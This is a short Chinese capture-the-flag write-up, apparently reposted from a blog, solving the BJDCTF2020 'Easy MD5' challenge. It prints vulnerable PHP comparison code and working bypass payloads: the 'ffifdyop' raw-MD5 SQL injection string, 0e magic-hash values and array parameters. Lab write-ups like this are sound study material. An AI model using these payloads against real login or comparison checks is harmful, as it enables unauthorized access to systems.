[BJDCTF2020]Easy MD5 1

知识点

关于md5的一些基本绕过方法:

  • 数组绕过
  • 0e绕过
  • SQL注入中的ffifdyop万能密码绕过,其中md5函数是md5($string,true)
  • md5强碰撞绕过

WP

首先进入环境,经过一些尝试后用bp抓包,在响应头里得到了Hint:

Hint: select * from 'admin' where password=md5($pass,true)

比较明显的用ffifdyop来绕过。具体可以参考:
password=’".md5($pass,true)."’

接下来又是一个绕过点,经过查看源码,发现是这样:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    
    
    // wow, glzjin wants a girl friend.

这里有2中绕过办法。因为是弱类型比较,可以构造两个经过md5后都是以0e开头的字符串,也可以利用数组来绕过。
因为md5的参数必须是字符串,传入数组会返回false,都返回false所以就可以绕过。
方法一:

a=QNKCDZO&b=aabg7XSs

方法二:

a[]=1&b[]=2

然后又是一个需要绕过的地方:

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    
    
    echo $flag;
}

虽然用了强类型比较,但是并没有转string,所以数组绕过还是可以。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/109237193